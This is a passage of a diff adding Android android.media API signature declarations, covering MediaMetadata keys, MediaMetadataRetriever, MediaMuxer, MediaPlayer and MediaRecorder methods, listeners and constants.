+    field public static final String METADATA_KEY_DISPLAY_DESCRIPTION = "android.media.metadata.DISPLAY_DESCRIPTION";
+    field public static final String METADATA_KEY_DISPLAY_ICON = "android.media.metadata.DISPLAY_ICON";
+    field public static final String METADATA_KEY_DISPLAY_ICON_URI = "android.media.metadata.DISPLAY_ICON_URI";
+    field public static final String METADATA_KEY_DISPLAY_SUBTITLE = "android.media.metadata.DISPLAY_SUBTITLE";
+    field public static final String METADATA_KEY_DISPLAY_TITLE = "android.media.metadata.DISPLAY_TITLE";
+    field public static final String METADATA_KEY_DURATION = "android.media.metadata.DURATION";
+    field public static final String METADATA_KEY_GENRE = "android.media.metadata.GENRE";
+    field public static final String METADATA_KEY_MEDIA_ID = "android.media.metadata.MEDIA_ID";
+    field public static final String METADATA_KEY_MEDIA_URI = "android.media.metadata.MEDIA_URI";
+    field public static final String METADATA_KEY_NUM_TRACKS = "android.media.metadata.NUM_TRACKS";
+    field public static final String METADATA_KEY_RATING = "android.media.metadata.RATING";
+    field public static final String METADATA_KEY_TITLE = "android.media.metadata.TITLE";
+    field public static final String METADATA_KEY_TRACK_NUMBER = "android.media.metadata.TRACK_NUMBER";
+    field public static final String METADATA_KEY_USER_RATING = "android.media.metadata.USER_RATING";
+    field public static final String METADATA_KEY_WRITER = "android.media.metadata.WRITER";
+    field public static final String METADATA_KEY_YEAR = "android.media.metadata.YEAR";
+  }
+
+  public static final class MediaMetadata.Builder {
+    ctor public MediaMetadata.Builder();
+    ctor public MediaMetadata.Builder(android.media.MediaMetadata);
+    method public android.media.MediaMetadata build();
+    method public android.media.MediaMetadata.Builder putBitmap(String, android.graphics.Bitmap);
+    method public android.media.MediaMetadata.Builder putLong(String, long);
+    method public android.media.MediaMetadata.Builder putRating(String, android.media.Rating);
+    method public android.media.MediaMetadata.Builder putString(String, String);
+    method public android.media.MediaMetadata.Builder putText(String, CharSequence);
+    method @NonNull public android.media.MediaMetadata.Builder setBitmapDimensionLimit(@IntRange(from=1) int);
+  }
+
+  @Deprecated public abstract class MediaMetadataEditor {
+    method @Deprecated public void addEditableKey(int);
+    method @Deprecated public abstract void apply();
+    method @Deprecated public void clear();
+    method @Deprecated public android.graphics.Bitmap getBitmap(int, android.graphics.Bitmap) throws java.lang.IllegalArgumentException;
+    method @Deprecated public int[] getEditableKeys();
+    method @Deprecated public long getLong(int, long) throws java.lang.IllegalArgumentException;
+    method @Deprecated public Object getObject(int, Object) throws java.lang.IllegalArgumentException;
+    method @Deprecated public String getString(int, String) throws java.lang.IllegalArgumentException;
+    method @Deprecated public android.media.MediaMetadataEditor putBitmap(int, android.graphics.Bitmap) throws java.lang.IllegalArgumentException;
+    method @Deprecated public android.media.MediaMetadataEditor putLong(int, long) throws java.lang.IllegalArgumentException;
+    method @Deprecated public android.media.MediaMetadataEditor putObject(int, Object) throws java.lang.IllegalArgumentException;
+    method @Deprecated public android.media.MediaMetadataEditor putString(int, String) throws java.lang.IllegalArgumentException;
+    method @Deprecated public void removeEditableKeys();
+    field @Deprecated public static final int BITMAP_KEY_ARTWORK = 100; // 0x64
+    field @Deprecated public static final int RATING_KEY_BY_OTHERS = 101; // 0x65
+    field @Deprecated public static final int RATING_KEY_BY_USER = 268435457; // 0x10000001
+  }
+
+  public class MediaMetadataRetriever implements java.lang.AutoCloseable {
+    ctor public MediaMetadataRetriever();
+    method public void close();
+    method @Nullable public String extractMetadata(int);
+    method @Nullable public byte[] getEmbeddedPicture();
+    method @Nullable public android.graphics.Bitmap getFrameAtIndex(int, @NonNull android.media.MediaMetadataRetriever.BitmapParams);
+    method @Nullable public android.graphics.Bitmap getFrameAtIndex(int);
+    method @Nullable public android.graphics.Bitmap getFrameAtTime(long, int);
+    method @Nullable public android.graphics.Bitmap getFrameAtTime(long, int, @NonNull android.media.MediaMetadataRetriever.BitmapParams);
+    method @Nullable public android.graphics.Bitmap getFrameAtTime(long);
+    method @Nullable public android.graphics.Bitmap getFrameAtTime();
+    method @NonNull public java.util.List<android.graphics.Bitmap> getFramesAtIndex(int, int, @NonNull android.media.MediaMetadataRetriever.BitmapParams);
+    method @NonNull public java.util.List<android.graphics.Bitmap> getFramesAtIndex(int, int);
+    method @Nullable public android.graphics.Bitmap getImageAtIndex(int, @NonNull android.media.MediaMetadataRetriever.BitmapParams);
+    method @Nullable public android.graphics.Bitmap getImageAtIndex(int);
+    method @Nullable public android.graphics.Bitmap getPrimaryImage(@NonNull android.media.MediaMetadataRetriever.BitmapParams);
+    method @Nullable public android.graphics.Bitmap getPrimaryImage();
+    method @Nullable public android.graphics.Bitmap getScaledFrameAtTime(long, int, @IntRange(from=1) int, @IntRange(from=1) int);
+    method @Nullable public android.graphics.Bitmap getScaledFrameAtTime(long, int, @IntRange(from=1) int, @IntRange(from=1) int, @NonNull android.media.MediaMetadataRetriever.BitmapParams);
+    method public void release();
+    method public void setDataSource(String) throws java.lang.IllegalArgumentException;
+    method public void setDataSource(String, java.util.Map<java.lang.String,java.lang.String>) throws java.lang.IllegalArgumentException;
+    method public void setDataSource(java.io.FileDescriptor, long, long) throws java.lang.IllegalArgumentException;
+    method public void setDataSource(java.io.FileDescriptor) throws java.lang.IllegalArgumentException;
+    method public void setDataSource(android.content.Context, android.net.Uri) throws java.lang.IllegalArgumentException, java.lang.SecurityException;
+    method public void setDataSource(android.media.MediaDataSource) throws java.lang.IllegalArgumentException;
+    field public static final int METADATA_KEY_ALBUM = 1; // 0x1
+    field public static final int METADATA_KEY_ALBUMARTIST = 13; // 0xd
+    field public static final int METADATA_KEY_ARTIST = 2; // 0x2
+    field public static final int METADATA_KEY_AUTHOR = 3; // 0x3
+    field public static final int METADATA_KEY_BITRATE = 20; // 0x14
+    field public static final int METADATA_KEY_BITS_PER_SAMPLE = 39; // 0x27
+    field public static final int METADATA_KEY_CAPTURE_FRAMERATE = 25; // 0x19
+    field public static final int METADATA_KEY_CD_TRACK_NUMBER = 0; // 0x0
+    field public static final int METADATA_KEY_COLOR_RANGE = 37; // 0x25
+    field public static final int METADATA_KEY_COLOR_STANDARD = 35; // 0x23
+    field public static final int METADATA_KEY_COLOR_TRANSFER = 36; // 0x24
+    field public static final int METADATA_KEY_COMPILATION = 15; // 0xf
+    field public static final int METADATA_KEY_COMPOSER = 4; // 0x4
+    field public static final int METADATA_KEY_DATE = 5; // 0x5
+    field public static final int METADATA_KEY_DISC_NUMBER = 14; // 0xe
+    field public static final int METADATA_KEY_DURATION = 9; // 0x9
+    field public static final int METADATA_KEY_EXIF_LENGTH = 34; // 0x22
+    field public static final int METADATA_KEY_EXIF_OFFSET = 33; // 0x21
+    field public static final int METADATA_KEY_GENRE = 6; // 0x6
+    field public static final int METADATA_KEY_HAS_AUDIO = 16; // 0x10
+    field public static final int METADATA_KEY_HAS_IMAGE = 26; // 0x1a
+    field public static final int METADATA_KEY_HAS_VIDEO = 17; // 0x11
+    field public static final int METADATA_KEY_IMAGE_COUNT = 27; // 0x1b
+    field public static final int METADATA_KEY_IMAGE_HEIGHT = 30; // 0x1e
+    field public static final int METADATA_KEY_IMAGE_PRIMARY = 28; // 0x1c
+    field public static final int METADATA_KEY_IMAGE_ROTATION = 31; // 0x1f
+    field public static final int METADATA_KEY_IMAGE_WIDTH = 29; // 0x1d
+    field public static final int METADATA_KEY_LOCATION = 23; // 0x17
+    field public static final int METADATA_KEY_MIMETYPE = 12; // 0xc
+    field public static final int METADATA_KEY_NUM_TRACKS = 10; // 0xa
+    field public static final int METADATA_KEY_SAMPLERATE = 38; // 0x26
+    field public static final int METADATA_KEY_TITLE = 7; // 0x7
+    field public static final int METADATA_KEY_VIDEO_FRAME_COUNT = 32; // 0x20
+    field public static final int METADATA_KEY_VIDEO_HEIGHT = 19; // 0x13
+    field public static final int METADATA_KEY_VIDEO_ROTATION = 24; // 0x18
+    field public static final int METADATA_KEY_VIDEO_WIDTH = 18; // 0x12
+    field public static final int METADATA_KEY_WRITER = 11; // 0xb
+    field public static final int METADATA_KEY_XMP_LENGTH = 42; // 0x2a
+    field public static final int METADATA_KEY_XMP_OFFSET = 41; // 0x29
+    field public static final int METADATA_KEY_YEAR = 8; // 0x8
+    field public static final int OPTION_CLOSEST = 3; // 0x3
+    field public static final int OPTION_CLOSEST_SYNC = 2; // 0x2
+    field public static final int OPTION_NEXT_SYNC = 1; // 0x1
+    field public static final int OPTION_PREVIOUS_SYNC = 0; // 0x0
+  }
+
+  public static final class MediaMetadataRetriever.BitmapParams {
+    ctor public MediaMetadataRetriever.BitmapParams();
+    method @NonNull public android.graphics.Bitmap.Config getActualConfig();
+    method @NonNull public android.graphics.Bitmap.Config getPreferredConfig();
+    method public void setPreferredConfig(@NonNull android.graphics.Bitmap.Config);
+  }
+
+  public final class MediaMuxer {
+    ctor public MediaMuxer(@NonNull String, int) throws java.io.IOException;
+    ctor public MediaMuxer(@NonNull java.io.FileDescriptor, int) throws java.io.IOException;
+    method public int addTrack(@NonNull android.media.MediaFormat);
+    method public void release();
+    method public void setLocation(float, float);
+    method public void setOrientationHint(int);
+    method public void start();
+    method public void stop();
+    method public void writeSampleData(int, @NonNull java.nio.ByteBuffer, @NonNull android.media.MediaCodec.BufferInfo);
+  }
+
+  public static final class MediaMuxer.OutputFormat {
+    field public static final int MUXER_OUTPUT_3GPP = 2; // 0x2
+    field public static final int MUXER_OUTPUT_HEIF = 3; // 0x3
+    field public static final int MUXER_OUTPUT_MPEG_4 = 0; // 0x0
+    field public static final int MUXER_OUTPUT_OGG = 4; // 0x4
+    field public static final int MUXER_OUTPUT_WEBM = 1; // 0x1
+  }
+
+  public class MediaPlayer implements android.media.AudioRouting android.media.VolumeAutomation {
+    ctor public MediaPlayer();
+    method public void addOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener, android.os.Handler);
+    method public void addTimedTextSource(String, String) throws java.io.IOException, java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method public void addTimedTextSource(android.content.Context, android.net.Uri, String) throws java.io.IOException, java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method public void addTimedTextSource(java.io.FileDescriptor, String) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method public void addTimedTextSource(java.io.FileDescriptor, long, long, String) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method public void attachAuxEffect(int);
+    method public void clearOnMediaTimeDiscontinuityListener();
+    method public void clearOnSubtitleDataListener();
+    method public static android.media.MediaPlayer create(android.content.Context, android.net.Uri);
+    method public static android.media.MediaPlayer create(android.content.Context, android.net.Uri, android.view.SurfaceHolder);
+    method public static android.media.MediaPlayer create(android.content.Context, android.net.Uri, android.view.SurfaceHolder, android.media.AudioAttributes, int);
+    method public static android.media.MediaPlayer create(android.content.Context, int);
+    method public static android.media.MediaPlayer create(android.content.Context, int, android.media.AudioAttributes, int);
+    method @NonNull public android.media.VolumeShaper createVolumeShaper(@NonNull android.media.VolumeShaper.Configuration);
+    method public void deselectTrack(int) throws java.lang.IllegalStateException;
+    method protected void finalize();
+    method public int getAudioSessionId();
+    method public int getCurrentPosition();
+    method public android.media.MediaPlayer.DrmInfo getDrmInfo();
+    method @NonNull public String getDrmPropertyString(@NonNull String) throws android.media.MediaPlayer.NoDrmSchemeException;
+    method public int getDuration();
+    method @NonNull public android.media.MediaDrm.KeyRequest getKeyRequest(@Nullable byte[], @Nullable byte[], @Nullable String, int, @Nullable java.util.Map<java.lang.String,java.lang.String>) throws android.media.MediaPlayer.NoDrmSchemeException;
+    method public android.os.PersistableBundle getMetrics();
+    method @NonNull public android.media.PlaybackParams getPlaybackParams();
+    method public android.media.AudioDeviceInfo getPreferredDevice();
+    method public android.media.AudioDeviceInfo getRoutedDevice();
+    method public int getSelectedTrack(int) throws java.lang.IllegalStateException;
+    method @NonNull public android.media.SyncParams getSyncParams();
+    method @Nullable public android.media.MediaTimestamp getTimestamp();
+    method public android.media.MediaPlayer.TrackInfo[] getTrackInfo() throws java.lang.IllegalStateException;
+    method public int getVideoHeight();
+    method public int getVideoWidth();
+    method public boolean isLooping();
+    method public boolean isPlaying();
+    method public void pause() throws java.lang.IllegalStateException;
+    method public void prepare() throws java.io.IOException, java.lang.IllegalStateException;
+    method public void prepareAsync() throws java.lang.IllegalStateException;
+    method public void prepareDrm(@NonNull java.util.UUID) throws android.media.MediaPlayer.ProvisioningNetworkErrorException, android.media.MediaPlayer.ProvisioningServerErrorException, android.media.ResourceBusyException, android.media.UnsupportedSchemeException;
+    method public byte[] provideKeyResponse(@Nullable byte[], @NonNull byte[]) throws android.media.DeniedByServerException, android.media.MediaPlayer.NoDrmSchemeException;
+    method public void release();
+    method public void releaseDrm() throws android.media.MediaPlayer.NoDrmSchemeException;
+    method public void removeOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener);
+    method public void reset();
+    method public void restoreKeys(@NonNull byte[]) throws android.media.MediaPlayer.NoDrmSchemeException;
+    method public void seekTo(long, int);
+    method public void seekTo(int) throws java.lang.IllegalStateException;
+    method public void selectTrack(int) throws java.lang.IllegalStateException;
+    method public void setAudioAttributes(android.media.AudioAttributes) throws java.lang.IllegalArgumentException;
+    method public void setAudioSessionId(int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method @Deprecated public void setAudioStreamType(int);
+    method public void setAuxEffectSendLevel(float);
+    method public void setDataSource(@NonNull android.content.Context, @NonNull android.net.Uri) throws java.io.IOException, java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.SecurityException;
+    method public void setDataSource(@NonNull android.content.Context, @NonNull android.net.Uri, @Nullable java.util.Map<java.lang.String,java.lang.String>, @Nullable java.util.List<java.net.HttpCookie>) throws java.io.IOException;
+    method public void setDataSource(@NonNull android.content.Context, @NonNull android.net.Uri, @Nullable java.util.Map<java.lang.String,java.lang.String>) throws java.io.IOException, java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.SecurityException;
+    method public void setDataSource(String) throws java.io.IOException, java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.SecurityException;
+    method public void setDataSource(@NonNull android.content.res.AssetFileDescriptor) throws java.io.IOException, java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method public void setDataSource(java.io.FileDescriptor) throws java.io.IOException, java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method public void setDataSource(java.io.FileDescriptor, long, long) throws java.io.IOException, java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method public void setDataSource(android.media.MediaDataSource) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method public void setDisplay(android.view.SurfaceHolder);
+    method public void setDrmPropertyString(@NonNull String, @NonNull String) throws android.media.MediaPlayer.NoDrmSchemeException;
+    method public void setLooping(boolean);
+    method public void setNextMediaPlayer(android.media.MediaPlayer);
+    method public void setOnBufferingUpdateListener(android.media.MediaPlayer.OnBufferingUpdateListener);
+    method public void setOnCompletionListener(android.media.MediaPlayer.OnCompletionListener);
+    method public void setOnDrmConfigHelper(android.media.MediaPlayer.OnDrmConfigHelper);
+    method public void setOnDrmInfoListener(android.media.MediaPlayer.OnDrmInfoListener);
+    method public void setOnDrmInfoListener(android.media.MediaPlayer.OnDrmInfoListener, android.os.Handler);
+    method public void setOnDrmPreparedListener(android.media.MediaPlayer.OnDrmPreparedListener);
+    method public void setOnDrmPreparedListener(android.media.MediaPlayer.OnDrmPreparedListener, android.os.Handler);
+    method public void setOnErrorListener(android.media.MediaPlayer.OnErrorListener);
+    method public void setOnInfoListener(android.media.MediaPlayer.OnInfoListener);
+    method public void setOnMediaTimeDiscontinuityListener(@NonNull android.media.MediaPlayer.OnMediaTimeDiscontinuityListener, @NonNull android.os.Handler);
+    method public void setOnMediaTimeDiscontinuityListener(@NonNull android.media.MediaPlayer.OnMediaTimeDiscontinuityListener);
+    method public void setOnPreparedListener(android.media.MediaPlayer.OnPreparedListener);
+    method public void setOnSeekCompleteListener(android.media.MediaPlayer.OnSeekCompleteListener);
+    method public void setOnSubtitleDataListener(@NonNull android.media.MediaPlayer.OnSubtitleDataListener, @NonNull android.os.Handler);
+    method public void setOnSubtitleDataListener(@NonNull android.media.MediaPlayer.OnSubtitleDataListener);
+    method public void setOnTimedMetaDataAvailableListener(android.media.MediaPlayer.OnTimedMetaDataAvailableListener);
+    method public void setOnTimedTextListener(android.media.MediaPlayer.OnTimedTextListener);
+    method public void setOnVideoSizeChangedListener(android.media.MediaPlayer.OnVideoSizeChangedListener);
+    method public void setPlaybackParams(@NonNull android.media.PlaybackParams);
+    method public boolean setPreferredDevice(android.media.AudioDeviceInfo);
+    method public void setScreenOnWhilePlaying(boolean);
+    method public void setSurface(android.view.Surface);
+    method public void setSyncParams(@NonNull android.media.SyncParams);
+    method public void setVideoScalingMode(int);
+    method public void setVolume(float, float);
+    method public void setWakeMode(android.content.Context, int);
+    method public void start() throws java.lang.IllegalStateException;
+    method public void stop() throws java.lang.IllegalStateException;
+    field public static final int MEDIA_ERROR_IO = -1004; // 0xfffffc14
+    field public static final int MEDIA_ERROR_MALFORMED = -1007; // 0xfffffc11
+    field public static final int MEDIA_ERROR_NOT_VALID_FOR_PROGRESSIVE_PLAYBACK = 200; // 0xc8
+    field public static final int MEDIA_ERROR_SERVER_DIED = 100; // 0x64
+    field public static final int MEDIA_ERROR_TIMED_OUT = -110; // 0xffffff92
+    field public static final int MEDIA_ERROR_UNKNOWN = 1; // 0x1
+    field public static final int MEDIA_ERROR_UNSUPPORTED = -1010; // 0xfffffc0e
+    field public static final int MEDIA_INFO_AUDIO_NOT_PLAYING = 804; // 0x324
+    field public static final int MEDIA_INFO_BAD_INTERLEAVING = 800; // 0x320
+    field public static final int MEDIA_INFO_BUFFERING_END = 702; // 0x2be
+    field public static final int MEDIA_INFO_BUFFERING_START = 701; // 0x2bd
+    field public static final int MEDIA_INFO_METADATA_UPDATE = 802; // 0x322
+    field public static final int MEDIA_INFO_NOT_SEEKABLE = 801; // 0x321
+    field public static final int MEDIA_INFO_STARTED_AS_NEXT = 2; // 0x2
+    field public static final int MEDIA_INFO_SUBTITLE_TIMED_OUT = 902; // 0x386
+    field public static final int MEDIA_INFO_UNKNOWN = 1; // 0x1
+    field public static final int MEDIA_INFO_UNSUPPORTED_SUBTITLE = 901; // 0x385
+    field public static final int MEDIA_INFO_VIDEO_NOT_PLAYING = 805; // 0x325
+    field public static final int MEDIA_INFO_VIDEO_RENDERING_START = 3; // 0x3
+    field public static final int MEDIA_INFO_VIDEO_TRACK_LAGGING = 700; // 0x2bc
+    field @Deprecated public static final String MEDIA_MIMETYPE_TEXT_SUBRIP = "application/x-subrip";
+    field public static final int PREPARE_DRM_STATUS_PREPARATION_ERROR = 3; // 0x3
+    field public static final int PREPARE_DRM_STATUS_PROVISIONING_NETWORK_ERROR = 1; // 0x1
+    field public static final int PREPARE_DRM_STATUS_PROVISIONING_SERVER_ERROR = 2; // 0x2
+    field public static final int PREPARE_DRM_STATUS_SUCCESS = 0; // 0x0
+    field public static final int SEEK_CLOSEST = 3; // 0x3
+    field public static final int SEEK_CLOSEST_SYNC = 2; // 0x2
+    field public static final int SEEK_NEXT_SYNC = 1; // 0x1
+    field public static final int SEEK_PREVIOUS_SYNC = 0; // 0x0
+    field public static final int VIDEO_SCALING_MODE_SCALE_TO_FIT = 1; // 0x1
+    field public static final int VIDEO_SCALING_MODE_SCALE_TO_FIT_WITH_CROPPING = 2; // 0x2
+  }
+
+  public static final class MediaPlayer.DrmInfo {
+    method public java.util.Map<java.util.UUID,byte[]> getPssh();
+    method public java.util.UUID[] getSupportedSchemes();
+  }
+
+  public static final class MediaPlayer.MetricsConstants {
+    field public static final String CODEC_AUDIO = "android.media.mediaplayer.audio.codec";
+    field public static final String CODEC_VIDEO = "android.media.mediaplayer.video.codec";
+    field public static final String DURATION = "android.media.mediaplayer.durationMs";
+    field public static final String ERRORS = "android.media.mediaplayer.err";
+    field public static final String ERROR_CODE = "android.media.mediaplayer.errcode";
+    field public static final String FRAMES = "android.media.mediaplayer.frames";
+    field public static final String FRAMES_DROPPED = "android.media.mediaplayer.dropped";
+    field public static final String HEIGHT = "android.media.mediaplayer.height";
+    field public static final String MIME_TYPE_AUDIO = "android.media.mediaplayer.audio.mime";
+    field public static final String MIME_TYPE_VIDEO = "android.media.mediaplayer.video.mime";
+    field public static final String PLAYING = "android.media.mediaplayer.playingMs";
+    field public static final String WIDTH = "android.media.mediaplayer.width";
+  }
+
+  public static final class MediaPlayer.NoDrmSchemeException extends android.media.MediaDrmException {
+    ctor public MediaPlayer.NoDrmSchemeException(String);
+  }
+
+  public static interface MediaPlayer.OnBufferingUpdateListener {
+    method public void onBufferingUpdate(android.media.MediaPlayer, int);
+  }
+
+  public static interface MediaPlayer.OnCompletionListener {
+    method public void onCompletion(android.media.MediaPlayer);
+  }
+
+  public static interface MediaPlayer.OnDrmConfigHelper {
+    method public void onDrmConfig(android.media.MediaPlayer);
+  }
+
+  public static interface MediaPlayer.OnDrmInfoListener {
+    method public void onDrmInfo(android.media.MediaPlayer, android.media.MediaPlayer.DrmInfo);
+  }
+
+  public static interface MediaPlayer.OnDrmPreparedListener {
+    method public void onDrmPrepared(android.media.MediaPlayer, int);
+  }
+
+  public static interface MediaPlayer.OnErrorListener {
+    method public boolean onError(android.media.MediaPlayer, int, int);
+  }
+
+  public static interface MediaPlayer.OnInfoListener {
+    method public boolean onInfo(android.media.MediaPlayer, int, int);
+  }
+
+  public static interface MediaPlayer.OnMediaTimeDiscontinuityListener {
+    method public void onMediaTimeDiscontinuity(@NonNull android.media.MediaPlayer, @NonNull android.media.MediaTimestamp);
+  }
+
+  public static interface MediaPlayer.OnPreparedListener {
+    method public void onPrepared(android.media.MediaPlayer);
+  }
+
+  public static interface MediaPlayer.OnSeekCompleteListener {
+    method public void onSeekComplete(android.media.MediaPlayer);
+  }
+
+  public static interface MediaPlayer.OnSubtitleDataListener {
+    method public void onSubtitleData(@NonNull android.media.MediaPlayer, @NonNull android.media.SubtitleData);
+  }
+
+  public static interface MediaPlayer.OnTimedMetaDataAvailableListener {
+    method public void onTimedMetaDataAvailable(android.media.MediaPlayer, android.media.TimedMetaData);
+  }
+
+  public static interface MediaPlayer.OnTimedTextListener {
+    method public void onTimedText(android.media.MediaPlayer, android.media.TimedText);
+  }
+
+  public static interface MediaPlayer.OnVideoSizeChangedListener {
+    method public void onVideoSizeChanged(android.media.MediaPlayer, int, int);
+  }
+
+  public static final class MediaPlayer.ProvisioningNetworkErrorException extends android.media.MediaDrmException {
+    ctor public MediaPlayer.ProvisioningNetworkErrorException(String);
+  }
+
+  public static final class MediaPlayer.ProvisioningServerErrorException extends android.media.MediaDrmException {
+    ctor public MediaPlayer.ProvisioningServerErrorException(String);
+  }
+
+  public static class MediaPlayer.TrackInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public android.media.MediaFormat getFormat();
+    method public String getLanguage();
+    method public int getTrackType();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int MEDIA_TRACK_TYPE_AUDIO = 2; // 0x2
+    field public static final int MEDIA_TRACK_TYPE_METADATA = 5; // 0x5
+    field public static final int MEDIA_TRACK_TYPE_SUBTITLE = 4; // 0x4
+    field public static final int MEDIA_TRACK_TYPE_TIMEDTEXT = 3; // 0x3
+    field public static final int MEDIA_TRACK_TYPE_UNKNOWN = 0; // 0x0
+    field public static final int MEDIA_TRACK_TYPE_VIDEO = 1; // 0x1
+  }
+
+  public class MediaRecorder implements android.media.AudioRecordingMonitor android.media.AudioRouting android.media.MicrophoneDirection {
+    ctor @Deprecated public MediaRecorder();
+    ctor public MediaRecorder(@NonNull android.content.Context);
+    method public void addOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener, android.os.Handler);
+    method protected void finalize();
+    method public java.util.List<android.media.MicrophoneInfo> getActiveMicrophones() throws java.io.IOException;
+    method @Nullable public android.media.AudioRecordingConfiguration getActiveRecordingConfiguration();
+    method public static final int getAudioSourceMax();
+    method @NonNull public android.media.metrics.LogSessionId getLogSessionId();
+    method public int getMaxAmplitude() throws java.lang.IllegalStateException;
+    method public android.os.PersistableBundle getMetrics();
+    method public android.media.AudioDeviceInfo getPreferredDevice();
+    method public android.media.AudioDeviceInfo getRoutedDevice();
+    method public android.view.Surface getSurface();
+    method public boolean isPrivacySensitive();
+    method public void pause() throws java.lang.IllegalStateException;
+    method public void prepare() throws java.io.IOException, java.lang.IllegalStateException;
+    method public void registerAudioRecordingCallback(@NonNull java.util.concurrent.Executor, @NonNull android.media.AudioManager.AudioRecordingCallback);
+    method public void release();
+    method public void removeOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener);
+    method public void reset();
+    method public void resume() throws java.lang.IllegalStateException;
+    method public void setAudioChannels(int);
+    method public void setAudioEncoder(int) throws java.lang.IllegalStateException;
+    method public void setAudioEncodingBitRate(int);
+    method public void setAudioProfile(@NonNull android.media.EncoderProfiles.AudioProfile);
+    method public void setAudioSamplingRate(int);
+    method public void setAudioSource(int) throws java.lang.IllegalStateException;
+    method @Deprecated public void setCamera(android.hardware.Camera);
+    method public void setCaptureRate(double);
+    method public void setInputSurface(@NonNull android.view.Surface);
+    method public void setLocation(float, float);
+    method public void setLogSessionId(@NonNull android.media.metrics.LogSessionId);
+    method public void setMaxDuration(int) throws java.lang.IllegalArgumentException;
+    method public void setMaxFileSize(long) throws java.lang.IllegalArgumentException;
+    method public void setNextOutputFile(java.io.FileDescriptor) throws java.io.IOException;
+    method public void setNextOutputFile(java.io.File) throws java.io.IOException;
+    method public void setOnErrorListener(android.media.MediaRecorder.OnErrorListener);
+    method public void setOnInfoListener(android.media.MediaRecorder.OnInfoListener);
+    method public void setOrientationHint(int);
+    method public void setOutputFile(java.io.FileDescriptor) throws java.lang.IllegalStateException;
+    method public void setOutputFile(java.io.File);
+    method public void setOutputFile(String) throws java.lang.IllegalStateException;
+    method public void setOutputFormat(int) throws java.lang.IllegalStateException;
+    method public boolean setPreferredDevice(android.media.AudioDeviceInfo);
+    method public boolean setPreferredMicrophoneDirection(int);
+    method public boolean setPreferredMicrophoneFieldDimension(@FloatRange(from=-1.0, to=1.0) float);
+    method public void setPreviewDisplay(android.view.Surface);
+    method public void setPrivacySensitive(boolean);
+    method public void setProfile(android.media.CamcorderProfile);
+    method public void setVideoEncoder(int) throws java.lang.IllegalStateException;
+    method public void setVideoEncodingBitRate(int);
+    method public void setVideoEncodingProfileLevel(int, int);
+    method public void setVideoFrameRate(int) throws java.lang.IllegalStateException;
+    method public void setVideoProfile(@NonNull android.media.EncoderProfiles.VideoProfile);
+    method public void setVideoSize(int, int) throws java.lang.IllegalStateException;
+    method public void setVideoSource(int) throws java.lang.IllegalStateException;
+    method public void start() throws java.lang.IllegalStateException;
+    method public void stop() throws java.lang.IllegalStateException;
+    method public void unregisterAudioRecordingCallback(@NonNull android.media.AudioManager.AudioRecordingCallback);
+    field public static final int MEDIA_ERROR_SERVER_DIED = 100; // 0x64
+    field public static final int MEDIA_RECORDER_ERROR_UNKNOWN = 1; // 0x1
+    field public static final int MEDIA_RECORDER_INFO_MAX_DURATION_REACHED = 800; // 0x320
+    field public static final int MEDIA_RECORDER_INFO_MAX_FILESIZE_APPROACHING = 802; // 0x322
+    field public static final int MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED = 801; // 0x321
+    field public static final int MEDIA_RECORDER_INFO_NEXT_OUTPUT_FILE_STARTED = 803; // 0x323
+    field public static final int MEDIA_RECORDER_INFO_UNKNOWN = 1; // 0x1
+  }
+
+  public final class MediaRecorder.AudioEncoder {
+    field public static final int AAC = 3; // 0x3
+    field public static final int AAC_ELD = 5; // 0x5
+    field public static final int AMR_NB = 1; // 0x1
+    field public static final int AMR_WB = 2; // 0x2
+    field public static final int DEFAULT = 0; // 0x0
+    field public static final int HE_AAC = 4; // 0x4
+    field public static final int OPUS = 7; // 0x7
+    field public static final int VORBIS = 6; // 0x6
+  }
+
+  public final class MediaRecorder.AudioSource {
+    field public static final int CAMCORDER = 5; // 0x5
+    field public static final int DEFAULT = 0; // 0x0
+    field public static final int MIC = 1; // 0x1
+    field @RequiresPermission(android.Manifest.permission.CAPTURE_AUDIO_OUTPUT) public static final int REMOTE_SUBMIX = 8; // 0x8
+    field public static final int UNPROCESSED = 9; // 0x9
+    field public static final int VOICE_CALL = 4; // 0x4
+    field public static final int VOICE_COMMUNICATION = 7; // 0x7
+    field public static final int VOICE_DOWNLINK = 3; // 0x3
+    field public static final int VOICE_PERFORMANCE = 10; // 0xa
+    field public static final int VOICE_RECOGNITION = 6; // 0x6
+    field public static final int VOICE_UPLINK = 2; // 0x2
+  }
+
+  public static final class MediaRecorder.MetricsConstants {
+    field public static final String AUDIO_BITRATE = "android.media.mediarecorder.audio-bitrate";
+    field public static final String AUDIO_CHANNELS = "android.media.mediarecorder.audio-channels";
+    field public static final String AUDIO_SAMPLERATE = "android.media.mediarecorder.audio-samplerate";
+    field public static final String AUDIO_TIMESCALE = "android.media.mediarecorder.audio-timescale";
+    field public static final String CAPTURE_FPS = "android.media.mediarecorder.capture-fps";
+    field public static final String CAPTURE_FPS_ENABLE = "android.media.mediarecorder.capture-fpsenable";
+    field public static final String FRAMERATE = "android.media.mediarecorder.frame-rate";
+    field public static final String HEIGHT = "android.media.mediarecorder.height";
+    field public static final String MOVIE_TIMESCALE = "android.media.mediarecorder.movie-timescale";
+    field public static final String ROTATION = "android.media.mediarecorder.rotation";
+    field public static final String VIDEO_BITRATE = "android.media.mediarecorder.video-bitrate";
+    field public static final String VIDEO_IFRAME_INTERVAL = "android.media.mediarecorder.video-iframe-interval";
+    field public static final String VIDEO_LEVEL = "android.media.mediarecorder.video-encoder-level";
+    field public static final String VIDEO_PROFILE = "android.media.mediarecorder.video-encoder-profile";
